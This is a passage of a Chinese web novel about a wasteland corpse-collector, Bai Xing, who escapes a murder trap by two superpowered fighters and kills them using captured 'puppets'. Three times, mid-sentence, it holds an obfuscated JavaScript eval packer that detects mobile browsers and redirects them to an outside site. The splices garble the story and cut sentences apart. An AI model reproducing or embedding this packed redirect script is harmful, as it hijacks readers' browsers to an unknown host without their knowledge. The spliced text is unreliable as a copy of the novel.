厢式货车在垃圾堆里奔驰奔驰，轮子碾过地面的沙土和低矮灌木，发出各种各样奇怪的声音。 不一会儿，李姐降低车速，“我找个地方停车，只能送你们到这了。” 燕飞逸抱怨着：“再近点不行吗？” 李姐嘁了一声，“我可不想被战斗波及。天眷者和异兽的战斗有什么准呢？” 白星：“等等？战斗？那个异兽还没死吗？” 李姐像看外星人一样看着她。 燕飞逸：“……” 燕飞逸：“我没和你说吗？天眷者和异兽打斗的时候，通常我们也需要在现场。因为一旦异兽死亡，尸体很快就会腐败变质，所以越早处理尸体越好，尸体的新鲜程度会影响后面制成装备的品质。” 他指着身后的货车车厢，“这都是冷链运输，讲究一个保鲜。” 白星：“……好吧。” 这时候，面前忽然传来“嘭”地一声，有什么东西撞击到了车上，整个车身剧烈震荡，差点侧翻。 白星稳住身体，发现车前面的挡风玻璃碎成了蜘蛛网，鲜血从撞击处不断滴落，浓郁的血臭味蔓延开来。 外面有人大叫着：“离开那里！快离开！” 李姐和燕飞逸的反应速度相当快，从开车门到跑路一气呵成，白星紧紧跟上，一边跑一边往后看。 撞击到车身的是一只半人高的活物，它像是在身后的两个天眷者追赶下，慌不择路撞上了正在行驶的厢式货车。 是异兽。 它张开诡异的圆形口器，露出了一层一层的獠牙，少说也得有几百颗牙。 白星：“……” 你们管这个叫猿猴？ 这是她第一次见到天眷者和异兽之间的战斗，不由得被吸引了目光。 白星判断战斗已经进入了尾声——异兽哀嚎、逃窜，而两个天眷者死死咬住不放。其中一人的天术，是手掌可以变成荆棘一样的尖刺，看上去锐利无比，而另一人则没有显露出明显的天术来，白星猜测此人可能有轻微的身体强化方面的天术。 疑似有身体强化天术的那人，用四肢缠住了异兽，而天术是[尖刺]的那人，将尖刺送入了异兽的心脏。异兽发出了最终的惨叫，浓烈的血腥味混杂着附近的垃圾味，形成一种刺鼻而难以形容的恶心味道。 疑似身体强化者问：“死了吗？” 尖刺者回答：“死透了。” 身体强化者感慨道：“这东西还挺能跑。” 不远处的白星马上凑近，上来就是一顿夸，“这就是天眷者的能力吗？姐姐们好厉害。” 两个女性天眷者对视了一眼，不知为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那么，给你个忠告吧——不要用言语试探他人的天术，对于天眷者来说，这会被视为一种挑衅。” 尖刺天眷者竖起一根手指挡在嘴边。 白星：“……” 尖刺天眷者和陆明勾肩搭背地离开了。 燕飞逸提着两个银色手提箱来到了尸体边上，白星注意到他已经换上了防护服，戴上了手套。 白星幽幽说道：“不是说第一时间收尸吗？” 燕飞逸幽幽回答道：“什么都没有命重要。” 白星接过防护服套上。 燕飞逸一边检查工具一边说着：“异兽的尸体往往带有毒性，防护服和手套能够保护我们。” “异兽的不同身体部位的价值不一样，心脏和大脑往往是最有价值的，因为它相当于异兽的能源泵。眼睛这东西很脆弱，需要小心摘取……” “不同异兽的价值也不一样。总价值从高到低排序，依次是S级异兽、A级、B级……一直到F级。” “不同异兽的身体结构不同，肢解方式也不一样，这个你在实践中慢慢学习吧。” 白星：“呃，等等，肢解？” 然后就看见燕飞逸从手提箱里拿出一把大功率锂电锯，“是的，肢解。” 8.第 8 章 电锯“嗡嗡”地响，细小的血肉碎屑和飞沫溅在白星和燕飞逸的防护面罩上。 手提箱里不同大小的砍刀、切刀、手术刀、镊子、夹子、剪刀等轮番上阵，[多尾猿猴]的每一块肉，每一块皮、每一滴血，都被放入了合适的容器里。 此时，防护服上沾染着血液的两个人，看上去非常惊悚，不知道的还以为他们在什么杀人现场。 45分钟后，所有的零部件都被他们搬上了冷链运输货车，李姐早就不耐烦了，“快上车。” “这车被撞成这样，还能开吗？”燕飞逸吐槽着。 这时候，白星和燕飞逸的手机同时响了。 白星一看，是死了吗APP的强制弹窗。 任务详情很短，还没等白星点AI阅读，燕飞逸那边就说：“是集团的强制任务。李姐，你先去送货，我们这边还有个强制任务，就在附近。” 白星问：“是多少级的异兽？” 燕飞逸：“D级，[尖吻魔蚊],比刚才的猿猴高两级。而且离这里很近……不到一公里，可能这就是集团优先派我们去的原因。” 两人脱下防护服，往定位位置走，他们在垃圾山里跋涉了一会儿，不一会儿就变得灰头土脸，翻过一个挡住视线的小坡后，一个巨大的湖泊遗迹出现在他们面前。湖泊几乎已经完全干涸，暴露出沙土质的白色河床，河床里面林立着密密麻麻的死去的枯木，看上去诡谲异常。 白星：“是这里吗？” 燕飞逸：“定位的确是这里。” 这时候，有一个人大老远挥着手像两个人跑过来，“这边！这边！” 这个人身材魁梧，体型圆润，耳垂很长，面相憨厚，看起来像个弥勒佛。他的背后背着一柄巨大的铁锤，铁锤看起来非常复杂，一看就是经过人工改造的高科技设备。 “你们好，我是[蜥蜴小队]的，代号狱卒，E级天眷者。” 狱卒主动伸手和两人握手。 燕飞逸连忙伸手，“燕飞逸，从业三年，老收尸工了。” 白星也跟着握手，“白星，刚转正的新人。” 燕飞逸四下看了看，“那个，你没有在战斗吗？你的同伴呢？” 狱卒：“[尖吻魔蚊]已经被我的队友重伤，挣扎不了多久了，我刚才去取遗落在车里的设备，路过这里正好看见了你们两个。” 收尸组两人跟着狱卒走进枯木林里，这里的枯木早已朽烂不堪，被酸雨腐蚀地皱皱巴巴。渐渐能听到远处的打斗声，像是兵戈相撞。 白星动了动鼻子，狱卒身上有一股不太好闻的气味，哥们儿几天没洗澡了？ 三人有一搭没一搭地说话，白星：“看燕哥的体型和武器，像是近战者？” 狱卒爽朗一笑，摘下背后的锤子，挥舞了一下，“很容易看出来吧，毕竟我背着锤子，真男人就是要近战，拳拳到肉。像是放风筝那种战术，不够男人。” 又走了一小会儿，狱卒停下脚步来，“你们先在这里等着，以免被战斗误伤。结束了我会叫你们。” 又叮嘱了一句：“别乱跑，队友攻击的时候我会叫她避开你们所在的区域。” “好。” “知道了。” 收尸组两人原地停下，目送狱卒远去。 “真想再次见识一下天眷者的战斗啊，可惜离他们太远了。”白星说着。 燕飞逸一副很放松的样子蹲在地上休息，“这不是好事吗？离他们越远，我们的小命越安全。” 白星却隐隐觉得有一点儿不对劲，“收尸任务里经常出现这样的情况吗？我只指，天眷者让我们待在指定的位置，等他们解决完问题？” 燕飞逸：“没错，有些天眷者队伍会在战斗区域旁边划定安全区域，并让我们全程待在安全区。” 白星：“还挺人性化。” 燕飞逸嗤笑一声，“你想多了，他们是怕我们贸然出现，影响战局。” 白星：“哈，真是不把我们收尸人的命当命啊。” 她环视四周，心里那种不安的感觉并没有消失，这周围都是枯木，底下是干涸的河床，布满白沙，往旁边走几步，也是一样的风景，别无二致。 那么狱卒他们凭借什么来分辨战斗区域和安全区域呢？ 白星又联想到狱卒身上隐约的奇怪气味，不像是战斗的血腥气，倒像是…… 倒像是艾草的气味！但是更浓烈一些，像是加了其他的配方。林医生教她的庞杂的知识浮现在脑海——艾草……能止痛止血止痒，还能……还能驱散蚊虫！ 狱卒他们的[蜥蜴小队]要杀的不就是[尖吻魔蚊]吗？ 白星不知道草药对异兽有多少效果，但是都是蚊子，应该差不多吧。 可是狱卒明明是一个推崇肉搏的近战者，特地使用驱散怪物的草药是不是有点不合理？ 而且狱卒在提起队友的时候，只用了一个[她]字，说明只有一个队友，那为了取工具而撇下唯一的队友，难道他不会考虑队友陷入危险吗？ 白星神色一凛，眉头忽然皱了起来，“我们得离开这！” “啊？你说什么？”燕飞逸还蹲在地上，嘴里叼着根枯草，显然没反应过来。 “事情不对劲，我们得走，立刻，马上！” 燕飞逸慌慌张张站起来，白星已经跑出去好几步了。 就在这时，他们听到了奇怪的声音，类似于风吹动纸张的哗啦哗啦声。 等等！那不是风在吹动纸张，而是异兽振翅的声音！ “哗啦……哗啦……”声音越来越近，几乎是转瞬间就到了两人身边。 两人看清了发出声音的东西的全貌。 那东西长得……令人毛骨悚然。它体态细长，头部生有可怕的复眼，白星在那对复眼中看到了一千个自己。它的足在空中弯折、转动，奇特的花纹在它的躯壳外构成了诡异而不祥的图案。而它的口器，就如同一根钢管一样延伸出来，如果被这东西叮一下，那后果…… 它散发出一股血腥气来，不知道那钢管一般的口器洞穿过多少人的身体。 “战，还是逃？”白星问。 白星思忖着，燕飞逸是天眷者，而自己也有[傀儡]傍身，就算没有一战之力，也未必不能拖延一点时间。 但是她往燕飞逸那一看，忽然觉得不妙。 燕飞逸双眼紧闭，一言不发，浑身僵硬地像块石头。白星推了推他，谁料到这家伙一下子就倒地不起了。 白星：“？？？” 这家伙被吓晕了？？？ 啊？？？ 这…… 战斗并不是最好的选择，白星无法评估敌我势力的对比。 要自己一个人逃跑吗？ 且不说白星能不能拖动燕飞逸这个成年男人，就算能拖动，带这么个累赘成功逃跑的概率为零。 那么，要丢下燕飞逸吗？ 明明和他没有多少交情，甚至今天刚认识，才说了几句话。 想要迈开脚步，却无法真正地撇下他一个人。 她知道，一旦撇下他，他就会死。 “我这种人，真的不适合生活在废土。”白星自嘲地想道。 那就把[尖吻魔蚊]引开，让它远离昏迷的燕飞逸，然后再伺机逃跑！ 眼见着[尖吻魔蚊]的口器马上就要亲上燕飞逸了，白星捡起一截枯枝丢了过去，打中了异兽半球形的头部。 异兽触角微动，转过了脸，看起来注意力已经完全被白星所吸引了。 白星头也不回地跑动起来，可是没跑两步，就“嘭”地一声撞上了空气墙。 白星：“？” 而在500米外，枯木林的掩映之下，狱卒和他唯一的队友一坐一站，背靠着枯木交谈着。 狱卒虽然面相老实憨厚，眼中却闪烁着精光，“暴食，你确定埋了足够的炸丨药？” 暴食冷哼一声：“哼，你在教我做事？” 狱卒：“听说那个燕飞逸是天眷者……不知道我们的计划能不能顺利进行。” 暴食不屑地说：“我可是听说过他，传闻说他虽然是天眷者，却被异兽吓尿了好几次，是有名的胆小鬼，还被几个天眷者队伍接连开除。这种人不足为虑。再怎么样，也只是个F级天眷者而已。” 听完暴食的话之后，狱卒有点心安了，他像是喃喃自语，“我的天术——【信标监狱】，可以让我在身体10米以内的平面上放置数个只有自己才能看到的信标，5分钟后，数个信标首尾相连围成的区域，会成为一个监狱，任何生命体只能进不能出，一小时后能力才会消失。这个能力搭配你事先在地底埋藏的炸药，可以带来无死角的致命打击，这在D级以下的范畴里，可以说是无敌的。” 暴食拍了拍他的肩膀，“这就对啦！打起精神来！一个F级胆小鬼，已经进了我们的牢笼，还能翻出浪花来吗？” 她手舞足蹈着道：“嘭，只要一下，他们就炸成烟花啦！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一团黑雾凝聚成型，[纯黑魔术师]抬起了头颅，与白星两面包抄，向[尖吻魔蚊]袭去！ [尖吻魔蚊]似乎感受到了危机，这东西真的很快！它迅速扇动薄薄的透明翅膀，飞到浮空约5米的地方，留下白星和[纯黑魔术师]仰着头看着它。 ……这东西会飞。真是棘手。 白星注视着[尖吻魔蚊]，“它攻击的时候总要下来。那么，就抓住它攻击的那一刻一击必杀！” 但是在等待[尖吻魔蚊]进攻的时候，她渐渐感觉到异样——头晕目眩，四肢麻木，手脚发冷，就像是失血过多。 等等，她胸口的伤很浅，不应该带来这种效果。 她很快发现了问题所在——她的伤口处，有血液源源不断地涌出来，不是流，而是涌，在伤口外汇集成一团一团细小的血雾，而血雾像是被什么东西吸引着一样飞上天空，进入了[尖吻魔蚊]的口器。 在白星和[尖吻魔蚊]之间，形成了一条血雾构成的绸带。 这东西在吸血！它在源源不断地吸白星的血！ 白星想骂街。 时间每过一秒，白星就会多流失一点血，情况就会对她更不利。 而[尖吻魔蚊]盘旋在半空，丝毫没有下落的意思，像是在享用着白星被迫献出的鲜血。 得想个方法把它骗下来。 白星脸色苍白，跪了下去，像是体力不支一般倒在地上。 [纯黑魔术师]消散成了黑雾，就像是能量不足。 [尖吻魔蚊]一边享受着吸血带来的无上喜悦，一边判断着局势，看起来下面的人已经不构成威胁了，这是智力不高的它做出的判断。 它向下俯冲，冲向那美味的女孩，想要吸干她的鲜血，然而在它到达地面的下一秒—— 一柄黑色的镰刀划过它的脖颈，造成了致命的伤害。 白星站在她的背后，将镰刀挥舞到极致！ 她敏锐的发现，[尖吻魔蚊]脖颈处的伤口，竟然隐隐有愈合的趋势，于是她心一横，镰刀一划拉，那异兽半球形的脑壳掉了下来，连带着那长长的口器。 而地上，那个由幻象构成的白星，迅速消散，变成了虚影。 【获得傀儡：[尖吻魔蚊]，评价：D级，该傀儡拥有D级天术：[生命汲取]。】 9.第 9 章 原来击杀异兽，也能将其【傀儡化】！ 一时间，白星呼吸粗重，脸红心跳。 她获得的【死亡权柄】到底是什么东西？这也太强了吧，有极强的潜力，有无限种发展的可能。再给她一些成长时间，她甚至能打爆垃圾区。 而且杀异兽可比杀天眷者风险低多了，这里的风险指的并不是说异兽比天眷者弱，而是指杀天眷者可能会带来被通缉、甚至被当成人类公敌的风险——杀天眷者需要谨慎行事（而且白星自认为不是什么杀人狂魔，不会为了变强而伤害无辜的人）。但是杀异兽就没有这个担心了，毕竟异兽人人喊打！ 看来有必要成为一名异兽猎人。 不过她不想将自己的能耐暴露给卡特尔集团，这件事恐怕需要隐瞒身份来做。 白星脑子里那个熟悉而冰冷的声音还在播报着： 【[尖吻魔蚊]可以从敌人的创口中吸取血液，汲取的血液可以用于治疗自身。而且只要吸取到新鲜血液，[尖吻魔蚊]就能使用血液治疗友方角色。】 白星不由得一喜，捡到宝了！ 在削下[尖吻魔蚊]头颅之前，她发现这异兽的伤口正在愈合，当时就推断它有偏治愈系的天术。没想到[尖吻魔蚊]的【生命汲取】不仅能愈合自身，还能治疗友方角色的伤势。 这可是珍贵的治疗系天术啊! 从理论上来讲，一个D级偏治疗的天术，能大大提高白星的续航能力，保障她猛猛输出，其作用甚至能和更高级的普通天术所媲美，更不必提【生命汲取】还能削弱敌人的力量。 可以！这波真是闷声发大财。 [尖吻魔蚊]的尸体中，一团不稳定、形状变幻莫测的黑雾抽离出来，最后凝聚成型，其形状有点抽象，不仔细辨别的话难以看出原型。和[纯黑魔术师]一样，它是纯黑色的，被微微变幻的黑雾所缭绕着，像是被风吹动的乌云所包裹。 [纯黑尖吻魔蚊]的又尖又长的口器对准了自己的尸体，汲取了死去的自己的血液，然后转头对准白星，血液如同涓涓细流，在空中蔓延，然后流入了白星的胸口。 白星感觉到伤口发痒，撩开衣服看了一下，创口正在愈合，照这速度，半分钟内就会好全，索性没有再管伤口，任凭[纯黑尖吻魔蚊]继续治疗。 这家伙连命令都没接受到，就开始治疗主人了，真是非常具有主动性了。 然后，白星观察了一下燕飞逸，发现这小子还在昏迷状态。哎，真是傻人有傻福啊，连自己差点被杀都不知道。但是她没有注意到的是，燕飞逸的手指微微颤动了一下。 白星的注意力转移到空气墙上，空气墙依旧存在，而且摸上去很结实，难以撼动。 她打开随身携带的工具箱，拿出了还没有来的及清理、沾着血肉碎屑、还在滴血的电锯。 “嗡”的一声，电锯链刃飞速转动，切割着空气墙。而[纯黑魔术师]也在白星的命令下拳打脚踢攻击着空气墙，空气墙在两者的作用下微微颤动着。 这时候，[纯黑尖吻魔蚊]也完成了治疗，在白星的指挥下，它用纯黑的口器，辅以超强的速度，像啄木鸟一样戳刺着空气墙。 “笃！笃！笃……” 每撞一下，空气墙就颤动一下。 白星相信空气墙能承受的力就是有限的，是能够打破的！ 把他们关在这里的人，多半就是狱卒或者他的队友，他们的目标是D级异兽，想必他们本身的等级也不会太高。这就使得空气墙的强度并不会太大。 现在空气墙的稳定性已经下降了，给她15分钟，未必不能打破它。 但是把他们关在这里的人，未必会给他们时间。如果白星是他们，就会留下后手。 她想了想，沿着空气墙走了一圈，目光停留在了[尖吻魔蚊]的尸体上。 她启动电锯，割下了异兽脑壳上长长的口器。这东西超出一般的锋利，绝不是普通物品能够比拟的。刚才仅仅是轻轻划过她的胸口，就留下了一道口子。 她举起被割下的口器，如同和尚撞钟般向空气墙撞去！ “咔嚓！” 也许是压死骆驼的最后一根稻草，当白星手中的口器撞到空气墙的那一刻，空气墙发出了玻璃粉碎般的声音，然后破碎成了光点。 白星微微松了一口气。 而500米开外，狱卒浑身一僵，露出难以置信的表情，“【信标监狱】被打破了！引爆炸药！现在！立刻！马上！” 暴食脸色变了，闻言立刻按下了□□上的按钮。 远处传来“嘭”的一声巨响。 …… 【信标监狱】所在的地方，被爆炸扬起的烟雾和漫天的沙尘所笼罩着。刺鼻的硝烟味弥漫。 几秒钟后，漫天的沙尘里面传来了咳嗦的声音。 “咳，咳！”白星趴在地上，被烟尘呛得剧烈咳嗽着，脑瓜子嗡嗡的。 “好重。”她抖了抖身体，一个昏迷且背后血肉模糊的燕飞逸从她身上滑落。 在【信标监狱】破碎之前，白星就在思考，破坏【信标监狱】的行为是否会被施展此天术的人感知到，而在她破坏的过程中，始作俑者始终没有出现，这就有以下可能性： 1.在【信标监狱】被彻底粉碎之前，幕后黑手无法察觉。 2.幕后黑手察觉了猎物在破坏【信标监狱】，却因为某些原因而没有出面。 如果是第一种可能的话，幕后黑手在察觉【信标监狱】被破坏之后，一定会有动作。所以她当机立断，【信标监狱】一碎，就以最快的速度扑向远方，并且在精神中给出指示，让[纯黑尖吻魔蚊]用爪子抓起昏迷的燕飞逸，一起逃离。 从【信标监狱】四分五裂，到暴食按下□□按钮，再到爆炸发生，有一个大约2-3秒的时间差，这就使得白星他们在爆炸发生的时候，离爆炸的中心点有了20米左右的距离，受到的冲击没有那么大。 [纯黑尖吻魔蚊]似乎比[纯黑魔术师]更具自主性和判断力，在爆炸发生的那一瞬间，它将燕飞逸的身体丢到了白星身上，使得燕飞逸成了一个血肉盾牌，挡住了爆炸的火力。 此时燕飞逸已经血肉模糊，但是伤口虽然骇人，却不是太深，如果及时治疗，应该能够活下来。 白星：“这一炸看上去很疼，还好你昏迷着，感受不到。” 而[纯黑尖吻魔蚊]皮糙肉厚，似乎在爆炸中没有受到太多伤害，嗡嗡地飞过来，用半球形的脑壳蹭向白星的手，像是一只邀功的小狗。 白星：“……” [纯黑魔术师]就不行了，直接被爆炸炸碎，化成了一团四散的黑烟，消失于无形。 白星试着重新召唤[纯黑魔术师]，结果竟然成功了！但是与此同时，她的大脑感受到了针扎般的疼痛。就像是太过疲惫倦怠。 看来召唤傀儡不是没有消耗的，它可能需要消耗潜在的蓝条。白星认为自己在短时间内无法承担再召唤一次傀儡所需要的蓝量了。 死去的[尖吻魔蚊]的尸体已经成了碎末，无法再提供血液给燕飞逸治疗，就算有血液，白星也不敢在此时放松警惕、治疗他人。 因为狱卒和他的同伴，一定就在四周潜伏着，随时都有可能上来咬一口。 对于这两个意图杀死她的凶手，白星已经打定主意，绝不会放过他们。 恶意杀人者，也要做好被杀的觉悟。 而此时，狱卒和暴食正在匆忙地赶向爆炸发生的地方。 暴食的嘴巴裂开了一个大到畸形的口子，她从里面掏出了带瞄准镜的冲锋枪、手雷、烟雾弹…… 狱卒顾不上擦头上的汗，接过武器，“他们死了吗？” 暴食厉声反问道：“我怎么会知道？” “你放的炸药！” “白痴！我的炸药在密闭空间里才能发挥最大的作用。可是你的【信标监狱】却被人打碎了，这都是你的错！” 狱卒太阳穴的青筋跳动着，想要反驳，但他知道，事到如今，已经没有时间争论谁对谁错了，只得强行咽下这口气，骂骂咧咧道：“艹，这下怎么办……” “还能怎么办？！当然是找到他们的尸体，如果他们还不是尸体，那就把他们变成尸体！”暴食斩钉截铁地回答道。 “可是他们打破了【信标监狱】！有没有可能，我是说有没有可能，他们很强？！现在避开锋芒还来的及……” “你是傻瓜吗？”暴食破口大骂，“我们和他们现在已经不死不休了，换位思考一下，你会放过要杀你的人吗？” 暴食阴恻恻地继续说道：“只要他们没有在【信标监狱】碎裂的那一刻拔腿就跑，那么现在就算没有死，也会重伤。” 狱卒渐渐冷静下来，“你说得很对，我们赢面儿很大，而且说不定他们已经死了。” 下一秒，“噗”的一声，有什么东西东西划过暴食的脖子，一股鲜血迅速涌出。 “艹，什么东西……”暴食按紧了脖子。 狱卒低头一看，那东西已经落在地上，是一条细长的如同钢管一样的口器。 “谁？”狱卒立刻持枪对周围进行了无差别扫射，却没有射中任何东西。 “你怎么样？” “不致命。”，暴食捂着伤口，冷哼着，“就这点本事，还想杀——” 下一秒，她忽然感到眩晕，身体一歪，直接倒在了地上。 “暴食？！” 暴食不屑的表情还停留在脸上，但是她的皮肤变得下陷，表皮变成了一种铁青色，然后浑身像是被抽光了一样变得干瘪。 她渐渐被【生命汲取】吸干了。 狱卒的眼中充满了震惊和不敢置信，发生了什么？！这一切像是恐怖片里的场景。 暴食被吸干的样子，确实符合被[尖吻魔蚊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786660|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ]袭击后的样子，问题是，他根本没有看到[尖吻魔蚊]！ 他惊慌之中迅速持枪扫射了一圈，回应他的只有子弹射入枯木和沙土中的声音。 而白星此时正隐藏在50米开外的一颗枯木后面，枯木的另一面有几个弹孔。 刚才，她本打算让[纯黑尖吻魔蚊]在[幻象]的掩盖下隐藏住身形，然后趁两个敌人没发现，冷不丁叮他俩一下，再用[生命汲取]耗死他们。 但是[纯黑尖吻魔蚊]一靠近两人，就像是鬼打墙了一般，没办法贴近。白星推断是两人身上的草药扰乱了[纯黑尖吻魔蚊]的方向感系统。这也让白星知道了一件事情——她的傀儡还保有生前的弱点。 于是她改换策略，让[纯黑尖吻魔蚊]从远处进攻,让其将刚才割下来的锐利口器丢向其中一人，造成伤害后立刻进行[生命汲取]。在这个过程中，她一直用[幻象]掩盖着[纯黑尖吻魔蚊]的位置和血雾的流动。而魔蚊只要不飞起来扑棱翅膀，就不会发出任何声音。 [幻象]配合[生命汲取]，简直无敌了！只要敌人被创伤，隐藏中的魔蚊就会暗中吸血，而敌人只能像无头苍蝇一样乱转。 在暴食死去的那一刻，她获得了新的傀儡。 【获得傀儡：[暴食]，评价：D级，该傀儡拥有D级天术：[多余的胃袋]。】 【[多余的胃袋]：这个胃袋可以储藏最多其主人体积3倍的物品，而不会被涨破。】 她检查了黑雾形成的傀儡暴食的胃袋，然后命令道：“去吧。去对付你的前同伴，创伤他。” [纯黑暴食]如同狂躁的狗一般扑了出去！ 白星发现，E级天术[幻象]的能力是有限的，之前掩盖自己、魔蚊和魔术师的时候，就已经比较勉强了，现在再加上一个暴食，没有办法将四个目标全部隐藏。于是她干脆让魔术师只隐藏魔蚊。 而另一边，[纯黑暴食]的前身不愧D级天眷者，哪怕是非战斗系，身体素质也比E级天眷者狱卒强大不少。 [纯黑暴食]战斗风格有点癫狂——如果[纯黑暴食]判定自己不会受到致命伤，就会更倾向于正面冲突，而不是躲避伤害，颇有一些以命换命的风格。 它如鬼魅一般靠近，而狱卒枪里的子弹哒哒哒近距离发射，有那么几次打穿了[纯黑暴食]的胸口。 每被击中一次，形成[纯黑暴食]的黑雾就会消散一部分，等一个弹夹打完，[纯黑暴食]终于被打出了致命伤，但是与此同时也到了离狱卒最近的地方，几乎要和狱卒脸贴脸了。 在即将消失的前一秒，[纯黑暴食]裂开了巨大的嘴，从里面吐出了生前存放在【多余的胃袋】里的炸药！ 白星按下了□□！ “轰”的一声响，此地升腾起沙尘。 随即，周围一片寂静。只有风吹动枯枝的簌簌的声音。 白星的大脑中接到了傀儡暂时死亡的信息——她已经没有蓝量再次召唤傀儡了。 但是没有关系，这一把，已经是她赢了。 那边，狱卒正拖着沉重的半截身体往前爬，他的腰部已经断掉了，下面是空的。 “为什么会这样……” 狱卒呢喃着，带着不甘和怨愤，“我们[蜥蜴小队]，在D级以下，明明是无敌的……我的天术和暴食的炸药的完美结合，怎么会被破解？！” “燕飞逸，区区一个F级天眷者，到底是怎么做到的？” 狱卒一想到自己到临死都没见过凶手出手，就觉得此人真是深藏不露，可怕极了。 “出来吧，燕飞逸，我已经……输了……让我死个明白吧……让我，看着凶手的眼睛死去……” 笃，笃，笃…… 脚步声传来。 狱卒的视线已经略微模糊，他伸长脖子，去看那个夺走他性命的身影。 等等，是她？！ 狱卒从没有想过这一种可能性。 是对普通人的歧视导致他忽略了重要信息吗？ 还是因为对方是个年轻女性？ 狱卒暗自悔恨——她竟然隐藏着这么强大的力量。而他毫无察觉。她藏得太深，表现地太正常了。 “白星。”狱卒念叨着她的名字，似笑非笑，似哭非哭。 他眼睛也不眨地注视着这谋杀了他的人，发现她有一双漆黑的眼睛，深邃如黑洞，带着一种禁忌而难以捉摸的神秘感，令人望而生畏。 ——还不知道未来有多少人，要葬送在她手中。 这就是狱卒临死前最后的念头。 【获得傀儡：[狱卒]，评价：E级，该傀儡拥有E级天术：[信标监狱]。】 黑雾在狱卒尸体的上空渐渐凝聚成型，背后背着黑雾凝结成的巨大铁锤。这是一个非常壮实的身影，有着厚实的肩背和粗壮的四肢。 [纯黑狱卒]单膝跪下，如同守护王座的骑士。 10.第 10 章 解决了暴食和狱卒，白星暂时松了一口气。 这时候她才注意到自己的大脑一直在微微刺痛。可能是蓝条消耗空了导致的。 据白星所知，天眷者只能有一种天术。而她所掌握的【死亡权柄】比天术高级多了，能让她使用多个傀儡的天术。 因此她必须找到一套能够骗过卡特尔集团和大多数人的说辞，至少在她足够强大之前必须这样做。否则，她拥有的独特的能力暴露出去，会招来不必要的麻烦。 得把这口锅甩出去。 【目前拥有傀儡数超过3个，解锁[傀儡化]技能的衍生技能：[傀儡断头台]。】 【通过[傀儡断头台]斩杀麾下的一个或多个傀儡，傀儡死后会化为纯粹的能量，可以用于强化其他傀儡。】 这个可以稍后再研究，白星收起所有傀儡，在树洞里找到了昏迷的燕飞逸——在开战之前，她把他塞到了这个相对隐蔽的地方。 这么大动静，燕飞逸居然还没醒。白星拿出新手机，打算摇人帮忙，但是发现自己只有燕飞逸的联系方式。 “……” 她打算看看燕飞逸的手机里有没有其他人的联系方式，结果发现这人设置了密码，只能打紧急联系人的电话。 没空犹豫，她打了最靠上的紧急联系人1号，一个叫金鹿的人。 那边一接通，她就说：“燕飞逸在我这，快死了，如果不想让他死，就赶快过来。” 那边沉默了一下，说道：“绑匪女士，你可能打错电话了，我和燕飞逸不熟。” 白星：“？” 她才意识到自己的话有歧义，“这不是绑架，我们收尸的时候他受伤了，伤得不轻，你不是他的第一紧急联系人吗？” “我们真的不……算了，你们在哪？” 白星报上地址。 “我十分钟后到。”对方说道。 不到10分钟，她听到了汽车引擎轰鸣的声音和论坛轧过沙土上的声音，像是有人赶来。 下车的是一个女人，竟然和白星有过一面之缘——就是那个在卡特尔总部时，燕飞逸搭讪的女职员。她就是金鹿？ 啊？燕飞逸把她设置成了第一紧急联系人？可是她记得上午他还找搭讪来着，所以燕飞逸其实有她联系方式？搞不懂了。 金鹿看上去有点惊魂未定，“你们、你们还好吗？我在路上看到了……尸体。” “唔……”躺着的燕飞逸忽然发出了呻吟声。 两人立刻向燕飞逸看去，只见他缓缓睁开了眼睛，虚弱的问道：“……我在哪？发生了什么？金鹿？你怎么在这？！这里难道是天堂？你也死了吗？” 燕飞逸看着金鹿，眼珠子都快瞪出来了。 白星：“来不及解释了，先把他抬到车上。” 就在此时，燕飞逸看到了自己血淋淋的伤口，“啊，血！好可怕！” 下一秒，他头一歪，迅速昏了过去。 金鹿看着燕飞逸的伤口，露出了不忍直视的表情，但还是咬着牙和白星一起把燕飞逸抬到破旧越野车的后座，白星说：“我有一点医疗常识，我看着他，你开车。” 两人分工明确，金鹿将破旧越野车开得飞快，在车上，白星向金鹿解释了“真相”。 “我们听到了爆炸声，那两个天眷者应该是和怪物同归于尽了，我和燕哥因为离得远而逃过一劫。” 这完全说得过去。暴食死于被傀儡魔蚊吸血，狱卒死于爆炸，他们的死相也能和这个说法呼应。 金鹿完全没有任何怀疑，不一会儿她们就带着燕飞逸来到了林医生的医馆。 林医生：“需要输血，坏了，医馆的血液储备上午用光了。如果半小时内不输血，他会没救。” 白星打算避开金鹿，用魔蚊给燕飞逸治疗——她已经发现，魔蚊吸的血，可以短暂地储存在腹腔之中。从暴食那边获取的血液，还有的剩，可以用于治疗。 没想到金鹿却撸起了袖子，“用我的血吧，我是O型血，万能血型。” “他到底是你的什么人？你俩什么关系？”白星忍不住问道。 “是在公司见过几面的陌生人吧，虽然我也不知道他为什么有我的联系方式……但是，看到有人在自己面前奄奄一息，总不能见死不救吧。” 白星一时间对金鹿有点另眼相看。金鹿具备这废土之上很少有人拥有的品质。 400毫升血液被从金鹿体内抽出，沿着输液管流入燕飞逸体内。 林医生把针线包递给白星，“你来。” 白星：“啊？我？我行吗？” 林医生：“上次不是教你理论了吗？该实践了。你怕什么，有我呢。” 白星：“……好吧。” 燕飞逸被麻醉，而白星仔细消毒各种工具，把他破损的皮肉一点一点缝合起来。 